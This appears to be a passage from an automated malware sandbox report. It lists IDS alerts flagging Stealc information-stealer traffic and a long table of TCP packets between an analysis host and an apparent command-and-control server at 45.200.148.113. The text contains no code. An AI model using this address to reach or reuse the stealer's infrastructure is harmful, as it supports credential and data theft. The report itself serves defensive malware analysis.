2024-10-01T07:51:18.082787+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49732	45.200.148.113	80	TCP
2024-10-01T07:51:18.458611+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49732	45.200.148.113	80	TCP
2024-10-01T07:51:19.998502+0200	2044249	ET MALWARE Win32/Stealc Submitting Screenshot to C2	1	192.168.2.4	49732	45.200.148.113	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 07:51:08.554425955 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:08.559307098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:08.559421062 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:08.559560061 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:08.564296007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:09.167649031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:09.167794943 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:09.170264959 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:09.175355911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:09.634429932 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:09.634483099 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:09.635889053 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:09.640625000 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:09.812592030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:09.812669039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:09.812711000 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:09.812711954 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:09.824454069 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:09.829207897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:10.003169060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:10.003241062 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:10.003273010 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:10.003283024 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:10.003329992 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:10.003664017 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:10.003674984 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:10.003685951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:10.003698111 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:10.003720999 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:10.003752947 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:10.005790949 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:10.010593891 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:10.190396070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:10.190490961 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:10.212385893 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:10.212446928 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:10.217163086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:10.217174053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:10.217217922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:10.217247009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:10.217425108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:10.509102106 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:10.509201050 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:10.870635986 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:10.875504971 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.043673038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.043802977 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.043884993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.043925047 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.044039965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.044106960 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.044152021 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.044193983 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.044473886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.044507027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.044512987 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.044599056 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.044637918 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.045245886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.045325994 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.045478106 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.045495033 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.045527935 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.045543909 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.046034098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.046399117 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.121417999 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.121488094 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.121505976 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.121550083 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.121563911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.121603012 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.121870995 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.121884108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.121895075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.121925116 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.121968985 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.122459888 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.122504950 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.122736931 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.122750044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.122792959 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.123298883 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.123311043 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.123346090 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.123378992 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.131978989 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.132050037 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.132083893 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.132123947 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.132163048 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.132205009 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.132481098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.132493019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.132503986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.132551908 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.132597923 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.132627010 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.133124113 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.133184910 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.133410931 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.133421898 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.133465052 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.133979082 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.133990049 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.134038925 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.134481907 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.134521008 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.134531975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.134546995 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.134602070 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.135283947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.135349989 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.199145079 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.199207067 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.199218988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.199255943 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.199280977 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.199325085 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.199496031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.199542999 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.199556112 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.199572086 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.199804068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.199815035 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.199826002 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.199852943 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.199875116 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.200304031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.200340986 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.200494051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.200540066 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.200692892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.200814962 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.209809065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.209894896 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.209943056 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.209954023 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.209995031 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.210225105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.210279942 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.210462093 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.210473061 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.210514069 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.210906982 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.210917950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.211035967 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.211275101 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.211286068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.211333990 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.211740971 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.211751938 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.211762905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.211802959 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.211831093 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.212404013 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.212415934 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.212421894 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.212433100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.212486982 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.212531090 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.213232040 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.213305950 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.213445902 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.213495970 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.220601082 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.220660925 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.220720053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.220730066 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.220794916 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.221133947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.221144915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.221179008 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.221208096 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.221482992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.221493006 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.221541882 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.221913099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.221925020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.221936941 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.221963882 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.221992016 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.222470999 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.222481966 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.222492933 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.222517014 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.222548962 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.223067045 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.223078012 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.223089933 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.223118067 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.223157883 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.223675966 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.223685980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.223696947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.223706007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.223728895 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.223757982 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.277343035 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.277359962 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.277374029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.277420044 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.277473927 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.277683973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.277695894 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.277734995 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.277760029 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.278054953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.278067112 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.278112888 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.278512955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.278563023 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.300326109 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.300390005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.300401926 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.300452948 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.300499916 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.300906897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.300918102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.300930023 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.300962925 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.301019907 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.301692009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.301703930 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.301712990 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.301753044 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.301795959 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.302522898 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.302534103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.302545071 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.302575111 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.302608013 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.303215027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.303226948 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.303236961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.303260088 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.303304911 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.304048061 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.304059029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.304070950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.304095030 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.304121971 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.304886103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.304897070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.304907084 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.304918051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.304936886 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.304956913 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.305732012 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.305744886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.305754900 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.305783987 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.305816889 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.306580067 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.306591988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.306602955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.306633949 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.306670904 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.307435036 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.307447910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.307457924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.307468891 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.307487011 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.307514906 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.308114052 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.308125973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.308135986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.308146000 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.308197975 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.308197975 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.309046030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.309058905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.309099913 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.309801102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.309855938 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.309926033 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.309937954 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.309997082 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.310357094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.310369015 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.310380936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.310401917 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.310440063 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.311038017 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.311050892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.311060905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.311072111 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.311096907 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.311122894 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.311770916 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.311783075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.311826944 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.312194109 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.312205076 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.312216043 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.312239885 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.312271118 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.312834978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.312846899 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.312859058 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.312869072 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.312881947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.312896967 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.312920094 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.313682079 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.313694000 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.313736916 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.314101934 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.314112902 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.314124107 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.314133883 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.314165115 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.314184904 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.314954042 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.314965010 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.314975023 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.314985991 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.315001965 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.315037012 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.315753937 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.315764904 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.315776110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.315787077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.315802097 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.315831900 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.316356897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.316368103 CEST	80	49732	45.200.148.113	192.168.2.4
